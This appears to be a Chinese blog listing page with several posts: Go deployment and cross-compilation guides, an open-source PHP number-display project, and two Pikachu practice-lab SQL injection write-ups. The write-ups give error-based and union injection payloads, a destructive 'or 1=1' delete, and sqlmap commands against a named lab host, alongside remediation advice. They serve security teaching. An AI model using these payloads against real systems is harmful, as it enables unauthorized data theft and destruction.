最新发布
-
深入解析Pikachu Delete注入漏洞:从代码分析到报错注入实战 深入解析Pikachu Delete注入漏洞:从代码分析到报错注入实战 在Web安全渗透测试中,SQL注入始终是最常见且危害极大的漏洞类型之一。今天我们以Pikachu漏洞练习平台的Delete注入题目为例,深入剖析漏洞成因,并通过实战演示如何利用报错注入获取数据库敏感信息。 一、漏洞背景与环境说明 Pikachu是一款广受安全学习者欢迎的漏洞练习平台,其中的“Delete注入”题目模拟了实际开发中因不当处理用户输入而导致的SQL注入风险。该场景通常出现在数据删除功能中,攻击者可通过构造特殊请求,篡改SQL语句实现未授权操作或信息泄露。 本次分析的核心场景是一个消息删除功能——用户点击删除按钮时,前端会向服务器传递消息ID,服务器根据该ID执行删除操作。看似简单的功能,却因代码缺陷埋下了安全隐患。 二、漏洞源代码深度分析 我们先来看存在漏洞的核心代码: // 原始代码(存在漏洞) if(array_key_exists('id', $_GET)){ $query="delete from message where id={$_GET['id']}"; $result=execute($link, $query); if(mysqli_affected_rows($link)==1){ header("location:sqli_del.php"); }else{ $html.="<p style='color: red'>删除失败,检查下数据库是不是挂了</p>"; } }漏洞关键成因: 输入未做任何过滤 代码直接使用$_GET['id']拼接SQL语句,未进行类型验证(如is_numeric()判断)或转义处理。这意味着用户传入的id参数可直接控制SQL语句结构。 SQL语句拼接方式不安全 delete语句采用字符串拼接:"delete from message where id={$_GET['id']}"。由于id参数未加引号包裹(直接作为数值拼接),攻击者可轻松注入恶意SQL代码改变语句逻辑。 对比安全版本的差异 注释中提到的安全写法if(array_key_exists('id', $_GET) && is_numeric($_GET['id']))明确要求id必须为数字,而漏洞代码删除了这一验证,直接导致注入风险。 三、漏洞利用原理:从删除操作到信息泄露 Delete注入的特殊性在于:它本身是删除数据的操作,但通过构造注入语句,我们可将其转化为信息查询工具。核心思路是利用SQL语句的逻辑拼接,在执行删除操作的同时执行查询语句,并通过报错信息获取结果。 以本题为例,正常的删除SQL为: delete from message where id=1当我们传入恶意id参数时,SQL语句会被篡改。例如传入1 or 1=1,语句变为: delete from message where id=1 or 1=1 -- 删除所有消息(危险!)但在实际测试中,我们更关注如何在不破坏数据的前提下获取信息,报错注入正是最佳选择。 四、实战:基于报错注入的数据库信息获取 1. 报错注入原理 报错注入利用了MySQL的函数特性:当某些函数(如updatexml()、extractvalue())的参数不符合语法规范时,会抛出错误并显示参数内容。通过在参数中嵌入查询语句,即可将查询结果通过报错信息泄露。 核心函数updatexml()的语法: updatexml(XML_document, XPath_string, new_value)当XPath_string包含非XML规范字符(如~)时,MySQL会报错并显示该字符串,这就是我们泄露信息的关键。 2. 构造Delete注入的报错Payload 针对本题的漏洞代码,有效的报错注入Payload为: 隐藏内容,请前往内页查看详情 Payload解析: 1:作为初始id值,确保语句前半部分语法正确 or:逻辑运算符,用于拼接后续恶意代码(只要前后有一个为真,整个条件就为真) updatexml(1,concat(0x7e,database()),0):核心注入代码 concat(0x7e,database()):将波浪号(0x7e是~的十六进制编码)与数据库名拼接 updatexml因~不符合XML规范而报错,同时显示拼接后的内容(如~pikachu) 3. 执行注入与结果分析 将Payload作为id参数传入URL: http://[目标地址]/sqli_del.php?id=1 or updatexml(1,concat(0x7e,database()),0)在浏览器上访问就行了,抓包分析的话需要url转码 屏幕截图 2025-08-06 232957.png图片 delete注入.png图片 执行后,页面会返回类似以下的错误信息: XPATH syntax error: '~pikachu'其中pikachu就是当前数据库的名称,证明注入成功。 4. 扩展:获取更多敏感信息 通过修改Payload中的查询语句,可进一步获取表名、列名等信息: 获取当前用户:1 or updatexml(1,concat(0x7e,user()),0) 获取消息表的表名(假设已知库名pikachu): 1 or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) 获取表中列名(假设已知表名message): 隐藏内容,请前往内页查看详情 五、漏洞修复建议 Delete注入的本质是用户输入未被安全处理就拼接进SQL语句,修复需从根本上避免这种风险: 严格验证输入类型 恢复代码中对id的数值验证,确保仅接受数字: if(array_key_exists('id', $_GET) && is_numeric($_GET['id'])){...} 使用参数化查询 采用预处理语句分离SQL结构与用户输入,彻底杜绝注入: $stmt = mysqli_prepare($link, "delete from message where id=?"); mysqli_stmt_bind_param($stmt, 'i', $_GET['id']); // 'i'表示参数为整数 mysqli_stmt_execute($stmt); 最小权限原则 数据库账号仅授予必要权限(如删除操作所需权限),限制注入后的破坏范围。 六、总结 Pikachu的Delete注入题目生动展示了“信任用户输入”带来的风险。通过本次实战,我们不仅掌握了报错注入的原理与Payload构造方法,更深刻理解了“参数化查询”对于防御SQL注入的重要性。在实际开发中,任何与数据库交互的功能都应严格过滤用户输入,这是保障Web安全的基础防线。 -
解决Go项目关闭终端后停止运行的3种实用方案(附完整操作指南) 解决Go项目关闭终端后停止运行的3种实用方案(附完整操作指南) 在Go项目部署过程中,很多开发者都会遇到一个共性问题:通过终端启动程序后,一旦关闭终端,程序就会随之停止运行。这本质上是因为程序运行在前台进程中,终端作为父进程被关闭时,子进程会被系统终止。本文将介绍3种可靠方案,彻底解决这一问题,确保Go程序在服务器上稳定运行。 go.jpg图片 一、问题根源:前台进程与终端的依赖关系 当我们通过./shuha(假设程序名为shuha)直接启动Go程序时,程序会作为前台进程运行,其生命周期与终端绑定: 终端关闭时,系统会向关联的所有进程发送SIGHUP(挂起信号) 前台进程收到该信号后会默认终止运行 这就是为什么关闭终端后程序会停止的核心原因 二、解决方案详解 方案1:使用nohup命令(最简单直接) nohup(no hang up)命令的作用是忽略终端关闭时发送的SIGHUP信号,让程序脱离终端独立运行,同时将输出日志重定向到文件。 操作步骤: 进入程序目录 cd /www/wwwroot/auth-shuha-api # 替换为你的项目路径 创建日志目录(可选但推荐) 为避免日志散落在项目根目录,建议创建专门的日志文件夹: mkdir -p logs # 创建logs目录 chmod 755 logs # 赋予读写权限 后台启动程序 nohup ./shuha > logs/run.log 2>&1 & 命令解析: nohup:忽略终端关闭信号 ./shuha:启动Go程序 > logs/run.log:将标准输出(stdout)写入日志文件 2>&1:将错误输出(stderr)合并到标准输出,统一写入日志 &:将程序放入后台运行 验证程序是否运行 ps -ef | grep shuha # 查看进程若输出包含./shuha,说明程序已在后台稳定运行。 查看实时日志 tail -f logs/run.log # 实时监控日志输出 停止程序(如需) 先通过ps命令获取进程ID(PID),再用kill终止: ps -ef | grep shuha # 找到进程ID(第二列数字) kill -9 12345 # 替换12345为实际PID 方案2:使用screen创建虚拟终端(适合频繁调试) screen是一款终端复用工具,可创建独立的虚拟终端会话。关闭终端后,会话仍在后台运行,重新连接终端后可恢复会话继续操作。 操作步骤: 安装screen(首次使用) CentOS系统: yum install -y screen Ubuntu/Debian系统: apt-get install -y screen 创建新会话 screen -S go_shuha # 创建名为go_shuha的会话(名称可自定义)执行后会进入一个全新的虚拟终端。 启动程序 在虚拟终端中正常启动Go程序: cd /www/wwwroot/auth-shuha-api ./shuha # 前台启动(可直接看到输出日志) 脱离会话(保持程序运行) 按Ctrl + A后再按D(先按Ctrl+A,松开后按D),此时会回到原终端,程序在虚拟会话中继续运行。 重新连接会话 关闭终端后,再次登录服务器,执行以下命令恢复会话: screen -r go_shuha # 重新进入名为go_shuha的会话 终止程序与会话 在会话中按Ctrl + C终止程序 输入exit可关闭当前虚拟会话 方案3:使用systemd配置系统服务(最稳定,推荐生产环境) 将Go程序注册为系统服务,可通过systemctl命令管理,支持开机自启,是生产环境的最佳选择。 操作步骤: 创建服务配置文件 vim /etc/systemd/system/shuha.service # 用vim编辑服务文件 写入配置内容 按i进入编辑模式,粘贴以下内容(根据实际路径修改): [Unit] Description=Auth Shuha API Service # 服务描述 After=network.target mysql.service # 依赖网络和MySQL服务(可选) [Service] User=root # 运行用户(建议用非root用户,如www) WorkingDirectory=/www/wwwroot/auth-shuha-api # 程序目录 ExecStart=/www/wwwroot/auth-shuha-api/shuha # 程序绝对路径 Restart=always # 程序崩溃时自动重启 RestartSec=3 # 重启间隔3秒 StandardOutput=append:/www/wwwroot/auth-shuha-api/logs/run.log # 标准输出日志 StandardError=append:/www/wwwroot/auth-shuha-api/logs/error.log # 错误日志 [Install] WantedBy=multi-user.target # 多用户模式下启动按Esc后输入:wq保存退出。 刷新系统服务 systemctl daemon-reload # 重新加载服务配置 启动服务 systemctl start shuha # 启动服务 设置开机自启(可选) systemctl enable shuha # 开机自动启动 服务管理常用命令 systemctl status shuha # 查看服务状态 systemctl stop shuha # 停止服务 systemctl restart shuha # 重启服务 journalctl -u shuha # 查看系统日志(包含服务启动信息) 三、方案对比与选择建议 方案优点缺点适用场景nohup简单易用,无需额外配置无开机自启,管理不够规范临时测试、短期运行screen支持会话恢复,适合调试配置稍复杂,不支持开机自启开发环境、需要频繁交互的场景systemd稳定可靠,支持开机自启和重启配置相对复杂生产环境、长期运行的服务四、常见问题排查 程序后台运行后无法访问 检查程序是否监听0.0.0.0(而非127.0.0.1),确保外部可访问 确认服务器防火墙和云安全组已开放程序端口(如8080) 日志文件无内容 检查日志目录权限是否正确(程序是否有写入权限) 确认启动命令中的日志路径与程序实际输出路径一致 systemd服务启动失败 用systemctl status shuha查看具体错误 检查ExecStart路径是否正确,程序是否有执行权限(chmod +x shuha) 通过以上方案,可彻底解决Go程序关闭终端后停止运行的问题。根据实际场景选择合适的方案,既能保证程序稳定运行,又能简化管理成本。生产环境优先推荐systemd方案,兼顾稳定性和可维护性。 -
使用Go语言编译Linux平台可执行文件的完整指南 使用Go语言编译Linux平台可执行文件的完整指南 前言 在Go语言开发中,跨平台编译是一个非常重要的功能。本文将详细介绍如何使用Go语言将项目编译为Linux平台的可执行文件,特别是针对国内开发者的优化配置。 go.jpg图片 环境准备 在开始之前,请确保你已经安装了Go语言环境(建议1.13及以上版本)。你可以通过以下命令检查Go版本: go version编译脚本解析 下面是一个完整的Go项目编译脚本,特别针对国内环境进行了优化: $env:GOPROXY="https://goproxy.cn,direct"; # 国内代理加速 $env:CGO_ENABLED=0; # 禁用CGO,避免Linux系统库依赖 $env:GOOS="linux"; $env:GOARCH="amd64"; # 目标平台:Linux 64位 go mod tidy; # 确保依赖完整 go build -ldflags "-s -w" -o shuha main.go; # 减小二进制体积 if (Test-Path "shuha") { Write-Host "`n编译成功!文件路径:$(Get-Location)\shuha" -ForegroundColor Green } else { Write-Host "`n编译失败,请查看错误信息" -ForegroundColor Red };让我们逐条分析这个脚本的各个部分: 1. 设置GOPROXY加速国内下载 $env:GOPROXY="https://goproxy.cn,direct"; 作用:设置Go模块代理为国内镜像,加速依赖下载 推荐值: https://goproxy.cn:七牛云提供的国内代理 direct:当代理不可用时直接连接 替代方案:也可以使用https://goproxy.io或https://mirrors.aliyun.com/goproxy/ 2. 禁用CGO $env:CGO_ENABLED=0; 作用:禁用CGO,使编译出的二进制文件不依赖系统C库 优点: 编译出的二进制文件可以在任何Linux发行版上运行 减小二进制文件体积 避免因glibc版本问题导致的兼容性问题 注意:如果你的项目使用了C语言库,则需要保持CGO_ENABLED=1 3. 设置目标平台 $env:GOOS="linux"; $env:GOARCH="amd64"; GOOS:目标操作系统(linux/windows/darwin等) GOARCH:目标架构(amd64/arm/386等) 常用组合: Linux 64位:linux/amd64 Windows 64位:windows/amd64 MacOS 64位:darwin/amd64 ARM架构:linux/arm或linux/arm64 4. 整理依赖 go mod tidy; 作用: 添加缺失的模块 删除未使用的模块 更新go.mod和go.sum文件 最佳实践:在每次构建前运行,确保依赖完整性 5. 构建项目 go build -ldflags "-s -w" -o shuha main.go; -o shuha:指定输出文件名 -ldflags "-s -w":链接器标志,用于减小二进制体积 -s:省略符号表和调试信息 -w:省略DWARF调试信息 main.go:项目入口文件 6. 构建结果检查 if (Test-Path "shuha") { Write-Host "`n编译成功!文件路径:$(Get-Location)\shuha" -ForegroundColor Green } else { Write-Host "`n编译失败,请查看错误信息" -ForegroundColor Red } 作用:检查构建是否成功,并输出可执行文件路径 进阶技巧 1. 进一步减小二进制体积 除了-s -w标志外,还可以使用UPX工具进一步压缩: upx --best shuha2. 交叉编译其他平台 可以编写一个脚本一次性编译多个平台: #!/bin/bash # 编译Linux GOOS=linux GOARCH=amd64 go build -ldflags "-s -w" -o bin/shuha-linux-amd64 main.go # 编译Windows GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o bin/shuha-windows-amd64.exe main.go # 编译MacOS GOOS=darwin GOARCH=amd64 go build -ldflags "-s -w" -o bin/shuha-darwin-amd64 main.go3. 版本信息嵌入 可以在构建时嵌入版本信息: go build -ldflags "-X main.Version=1.0.0 -X main.BuildTime=$(date +'%Y-%m-%d_%H:%M:%S')" -o shuha main.go然后在代码中定义这些变量: var ( Version string BuildTime string )常见问题解决 依赖下载慢: 确保GOPROXY设置正确 尝试go clean -modcache清除缓存后重试 CGO相关错误: 如果必须使用CGO,需要在目标系统上安装相应的C库 或者使用Docker容器进行编译 跨平台兼容性问题: 尽量使用纯Go实现的库 避免使用平台特定的系统调用 结语 通过本文介绍的方法,你可以轻松地将Go项目编译为Linux平台的可执行文件。这些技巧不仅适用于个人项目,也可以应用于企业级应用的持续集成流程中。Go语言的跨平台能力是其强大特性之一,合理利用可以大大提高开发效率。 如果你有任何问题或建议,欢迎在评论区留言讨论! -
企鹅展示系统开源发布:带后台管理的号码展示平台 企鹅展示系统开源发布:带后台管理的号码展示平台 前言 今天很高兴向大家分享一个我开发的"企鹅展示系统"——一个功能完善的号码信息展示平台,附带后台管理系统。这个项目完全开源,适合有一定PHP基础的开发者二次开发使用。 项目简介 企鹅展示系统是一个用于展示各类号码信息的Web应用,主要特点包括: q1.jpg图片 q2.jpg图片 前台展示页面简洁美观 完整的后台管理系统 支持大量数据展示 采用PHP+MySQL技术栈 开源可二次开发 下载地址 隐藏内容,请前往内页查看详情 安装教程 1. 环境准备 确保你的服务器满足以下要求: PHP 5.6或更高版本 MySQL 5.5或更高版本 Apache/Nginx Web服务器 2. 导入数据库 下载数据库文件后,使用phpMyAdmin或MySQL命令行工具导入: mysql -u username -p database_name < database.sql3. 配置系统 修改config.php文件中的数据库连接信息: define('DB_HOST', 'localhost'); define('DB_USER', 'your_username'); define('DB_PASS', 'your_password'); define('DB_NAME', 'your_database');4. 访问系统 前台访问地址:http://域名/ 后台访问地址:http://域名/admin 默认管理员账号:admin 默认密码:123456(请首次登录后立即修改) 系统功能 前台功能 号码信息分类展示 搜索功能 分页加载 响应式设计(适配手机端) 后台功能 号码信息管理(增删改查) 分类管理 用户管理 系统设置 已知问题与解决方案 目前系统存在一些小bug,我正在和朋友一起修复中。有能力的开发者可以自行修改: 分页问题:某些情况下分页显示不正确 解决方法:检查page.php中的分页逻辑 搜索功能不完善 解决方法:优化search.php中的SQL查询语句 后台部分表单验证缺失 解决方法:在提交处理前添加表单验证 PHP代码加密建议 为了保护您的代码安全,我推荐使用以下免费PHP加密平台: PHP代码加密平台 提供多种加密方式: Sg16版本 Deck3版本 Ic12版本 goto加密 enphp加密 noname方式等 该平台完全免费,可以有效保护您的PHP代码不被轻易反编译。 二次开发建议 界面美化:可以引入Bootstrap或Element UI等前端框架 功能扩展: 添加数据导出功能 实现API接口 增加多语言支持 性能优化: 添加缓存机制 优化数据库查询 结语 企鹅展示系统作为一个开源项目,希望能帮助到有类似需求的开发者。虽然目前还存在一些小问题,但核心功能已经完善。欢迎各位开发者下载使用,并参与项目的改进与完善。 如果你在使用过程中遇到任何问题,或者有改进建议,欢迎在评论区留言交流! 温馨提示:下载后请及时修改默认管理员密码,并检查系统安全性设置,确保生产环境安全。 -
pikachu上的xx型注入解题思路 下面这段代码对应的“XX型注入”属于特殊闭合方式的字符型注入,核心特点是参数被单引号+括号双重包裹,需要针对性构造payload。 if(isset($_GET['submit']) && $_GET['name']!=null){ //这里没有做任何处理,直接拼到select里面去了 $name=$_GET['name']; //这里的变量是字符型,需要考虑闭合 $query="select id,email from member where username=('$name')"; $result=execute($link, $query); if(mysqli_num_rows($result)>=1){ while($data=mysqli_fetch_assoc($result)){ $id=$data['id']; $email=$data['email']; $html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>"; } }else{ $html.="<p class='notice'>您输入的username不存在,请重新输入!</p>"; } } 关键特征分析 原始查询语句: select id,email from member where username=('$name') 用户输入的$name被包裹在 ('') 中(即先括号、再单引号) 正常情况下,输入test会变成 username=('test') 注入时需同时闭合单引号和括号,否则会触发语法错误 注入思路 闭合规则 需用 ') 来同时闭合单引号和括号,例如: 输入 x') 会使查询变成 username=('x'),此时前面的括号和引号已闭合。 基础payload示例 x') or 1=1#拼接后SQL变为: select id,email from member where username=('x') or 1=1#'') x') 闭合了原有的 (' or 1=1 构造永真条件 # 注释掉后面的剩余字符 '),避免语法错误 执行后会返回所有用户记录。 后续利用 与常规注入类似,闭合后可继续用union查询获取数据库信息,例如: x') union select database(),version()#sqlmap方法 获取数据库用户名 sqlmap -u "https://pikachu.guixinan.com/vul/sqli/sqli_x.php?name=test&submit=查询" --dbs --batch 获取数据库表名 sqlmap -u "https://pikachu.guixinan.com/vul/sqli/sqli_x.php?name=test&submit=查询" --D 数据库用户名 --tables --batch获取对应数据库表的信息 隐藏内容,请前往内页查看详情 字符型get-2.png图片 这种“XX型”本质是闭合方式更特殊(括号+单引号),核心仍是突破闭合并构造合法的恶意SQL,理解其包裹规则就能套用常规注入思路。